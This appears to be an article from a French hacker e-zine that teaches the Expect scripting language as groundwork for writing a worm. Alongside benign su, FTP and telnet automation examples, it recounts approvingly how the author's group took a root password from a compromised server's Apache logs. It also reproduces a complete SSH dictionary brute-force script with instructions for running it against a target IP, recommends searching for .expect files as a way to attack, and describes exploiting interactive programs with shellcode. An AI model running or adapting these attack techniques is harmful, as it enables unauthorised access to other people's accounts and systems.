Programmation avec Expect

On se rapproche de notre objectif

Expect c'est quoi d'abord ?
Expect est avant tout un langage de script basé sur Tcl (que vous avez normalement étudié précédemment). Expect est principalement utilisé pour contrôler et automatiser l'utilisation de programmes intéractifs.
Par intéractif je désigne tous les programmes qui vont demander, en cours d'exécution, que l'utilisateur tappe au clavier telles ou telles touches, entre telles ou telles commandes.
En suivant le contenu d'un script, Expect va être capable de savoir ce que lui demande un programme et ce qu'il doit lui envoyer en réponse.
Bref le langage Expext permet à la machine de dialoguer avec un programme comme le ferait une personne au clavier. Expect se charge de lire ce que le programme envoie à l'écran, et envoie une réponse comme venant du clavier. Expect redirige les entrées/sorties en quelque sorte. Nous allons étudier un exemple dans quelques lignes qui devrait éclaircir les quelques questions qui vous viennent à l'esprit.

Pourquoi Expect ?
J'ai découvert ce langage tout à fait au hazard. En fait OS4M4CKERS avait accès à une bécane sur laquelle un système de gestion des comptes Unix tournait. Là rien d'anormal. Ce qui était bizarre était que ce système était sous la forme d'une interface web.
Sur le site en question on trouvait un formulaire qui permettait aux utilisateurs de modifier le pass de leur compte et aussi un formulaire admin pour modifier les pass des utilisateurs. Les formulaires en question appelait des scripts en perl pour traiter les infos.
Comme on avait les droits sur les CGI ça n'a pas été difficile de voir comment ce système fonctionnait. Le script CGI faisait à la commande suivante :
'/usr/bin/expect update.expect $user $pasuser1 $pasmanag'

Aussitôt on regarde ce qui se trouve dans ce fichier :
#!/usr/bin/expect
puts "Content-type: text/html"
set usernd [lindex $argv 0]
set pasus1 [lindex $argv 1]
set pasman [lindex $argv 2]
spawn -noecho /bin/su root -c "/usr/bin/passwd $usernd > /dev/null"
expect "Password:"
send "$pasman\r"
expect "New password:"
send "$pasus1\r"
expect "Re-enter new password:"
send "$pasus1\r"
expect eof

Les premières commandes sont du Tcl. Le script récupère le login de l'utilisateur, son pass et aussi le pass du root qui sont passés en arguments. Le tout est stocké dans différentes variables.
Ensuite le script "spawn" la commande su. spawn permet de lancer un programme externe et en même temps redirige les entrées sorties sur notre script.
Dans notre cas on remarque que la commande su est appelée de façon à devenir root et à exécuter une seule commande : la commande passwd qui permettra de changer le pass de l'utilisateur choisi.
Le script s'attend ensuite à ce que la commande su lui envoie la chaîne de caractères "Password:" qui demande la pass du root (commende expect).
Ce mot de passe est envoyé par la commande send.
Comme prévu la commande passwd est alors lancée. Le script attend la chaîne "New password:". Quand il l'a, il envoie le nouveau mot de passe une première fois.
passwd répond par "Re-enter new password:". Le script renvoie donc le pass une nouvelle fois et attend que le programme passwd s'arrête.
Vous avez compris ? Le script expect a dialogué à un programme et ce sans notre intervention :)

Pour la petite histoire il nous a suffit de regarder dans les logs Apache pour trouver le pass du root (le script était appelé sous la forme fichier.cgi?pasman=****)

Des exemples !! On veut des exemples !!
Après quelques recherches sur Expect j'ai trouvé quelques applications et comme j'avais toujours eu envie de faire un ver je me suis dit que je le ferais pour le mag et en Expect.
Un des classiques en ce qui concerne l'utilisation d'Expect est l'appel à la commande 'su' comme vu précédemment. C'est chiant de toujours avoir à tapper le mot de passe quand on passe en root pour installer un soft etc. Avec un script de quelques lignes on peut automatiser cette tache :
#!/usr/bin/expect
spawn su
expect "assword:"
send "mon_pass\n"
interact

Première question : pourquoi j'ai mis 'assword:' et pas 'Password:' ? Parce que cela permet une meilleure compatibilité entre les différentes plates formes. Par exemple sous un système le mot password prendra un P majuscule et sous un autre système une minuscule etc.
Pour la commande send, il faut aussi mettre un \n pour simuler l'appui sur la touche entrée.
Pour terminer le interact permet de redonner la main à l'utilisateur.
Comme cela, la prochaine fois que vous voulez devenir root il vous suffit d'appeler le script expect et la commande su s'exécute comme par magie :)
Le danger d'une telle pratique est simple à voir : il ne faut pas que quelqu'un d'autre que vous puisse lire ce script qui contient le pass du root.
Les scripts expect n'ont pas d'extension bien définies mais l'extension '.expect' revient couremment donc rechercher de tels fichers peut être une possibilité d'attaque ;)

Attention !! Ne mélangez pas le langage Expect avec la commande expect qui fait partie du langage. Je ne fais pas de distinctions quand je l'écrit mais je pense que placé dans un contexte précis vous saurez si je parle du langage ou de la commande.

Etudions maitenant un brute-force ssh que j'ai trouvé sur hack.co.za :
#!/usr/bin/expect -f
# by John Lampe
# dorky way to brute force ssh passwd
# from command prompt do a
# for i in `cat PASSWD_FILE`; do ./ssh_brute.expect $i IPADDRESS >> ssh_rezults; done
# where PASSWD_FILE is your dictionary file and IPADDRESS is (duh) the IP address
# then run
# grep "SNAGGED" ssh_rezults
set timeout 5 ; #On fine le timeout à 5 secondes
set passwd [lindex $argv 0]; #Le password est le premier argument
set host [lindex $argv 1] ;#IP du serveur est le second argument
spawn ssh $host ; #On lance ssh
expect "password:"
send -- "$passwd\n";# Les deux tirets à la suite permettent de signaler le fin des arguments (pas nécessaire ici)
expect {;#expect peut fonctionner sous la forme d'un switch
"assword" { exit 0 } ;#On a visiblement récupéré un 'Password invalid' ou 'Invalid password' etc.
"enied" { exit 0 }; #Access Denied
"#" { send_user "SNAGGED $passwd\n" };#Cool un shell !! On envoie le pass sur la sortie standard (pas sur l'entrée de ssh)
timeout { exit 254 } ;# Si 5 secondes se sont écoulées sans aucune réponse c'est qu'il y a un problème ==> on quitte
eof { exit 253 };#La connexion a été fermée par le serveur
}
exit 0; #On quitte

Sympa ce script non ? Toutefois je ne vous conseille pas de l'utiliser car il ne fait qu'appeler le programme ssh. Si vous voulez vraiment bruteforcer un ssh prenez un prog en C qui sera bien plus rapide.
Un autre classique des scripts expect c'est la connexion à un ftp. Imaginons que vous êtes l'admin du société détesté par les hackers (style Microsoft, Verysign...) Vous avez des tentatives d'intrusion toutes les deux minutes. Vous vous retenez de pisser tellement vous avez peur que le temps d'aller au toilettes votre pauvre serveur soit défacé.
Cher Monsieur, j'ai la solution à tous vos problèmes !! Avec le script Expect suivant vous ne serez même plus obligé d'aller au bureau et de vivre dans la paranoïa.
spawn /bin/ftp $HOST
set timeout -1;#Timeout infini. Par défaut le timeout est de 10 secondes
expect "ame" {send "$USER\n"}
expect "assword:" {send "$PASSWORD\n"}
expect {
"incorrect" {puts "Bad Password\n";exit}
"ftp>" {send "cd public_html\n"}
}
expect "ftp>" {send "bin\n"}
expect "ftp>" {send "put $FILE\n"}
expect "ftp>" {send "quit\n"}
expect "Goodbye"
send_user "File sent.\n"

Evidemment les variables doivent être fixées auparavant. En mettant ce script dans les taches plannifiées pour que le script soit appelé toutes les 5 minutes, le fichier sur le serveur ne sera jamais corrompu longtemps :) En même temps our uploader la page d'index toutes les 5 minutes faut vraiment être parano !!

Ce script est loin d'être évolué. On aurrait par exemple pu faire des expect sur les codes de réussite ou d'échec du protocole FTP (530 = Login Incorect par exemple).
Si on faisait un peu de Telnet maintenant :
#!/usr/bin/expect -f
set timeout 5
log_user 0 ;# A ce que j'ai compris ça empèche d'afficher à l'écran le dialogue du script avec le telnet
gets stdin name;#L'utilisateur doit tapper le login & le pass
gets stdin pw
spawn "/usr/bin/telnet" "localhost"
expect {
-- "ogin: $" { send -- "$name\r" }
timeout { send -- "\r\r" }
eof { exit 253 }
}
expect {
"ssword: $" { send -- "$pw\r" }
}
expect {
"ast login:" { commandes à faire}
"(\\\$|%)" { commandes à faire }
"ogin incorrect" { exit 1 }
timeout { exit 254 }
eof { exit 253 }
}

C'est un des plus beaux scripts expect que j'ai trouvé pour telnet
C'est pas un brute force : c un script qui permet d'automatiser un travail à faire sur une machine distante.

Un dernier point que je voulais aborder : les buffers overflows. On trouve beaucoup d'exploits pour des applications distantes (communication par socket) ou pour des applis locales.
Mais la plupart des failles exploités en local sont des overflows dans des variables d'environnement, dans les paramêtres d'appel du programme vulnérable...
Bref pas d'exploits pour les programmes interractifs pourtant les failles existent !!!
Le langage Expect et ses outils permettent de telles exploitations. J'ai essayé avec un programme qui fait un simple scanf() en plein milieu de son exécution. En envoyant le shellcode & co au moment du scanf() j'ai réussi à récupérer un shell :-)
J'espère que l'on verra des exploits en expect sous peu ;-p

Pour de plus amples infos sur expect : man expect.
Il y a très peu de doc sur Expect en dehors de la page de manuel. On peut trouver pas mal de scripts sur le net mais ils se ressemblent tous :-(
Toutefois il existe UN forum Tcl/Expect en Anglais où les mecs ont l'air assez calé : http://www.wellho.net/cgi-bin/opentalk/YaBB.pl?board=tcl.

Prochaine étape : la programmation de notre ver.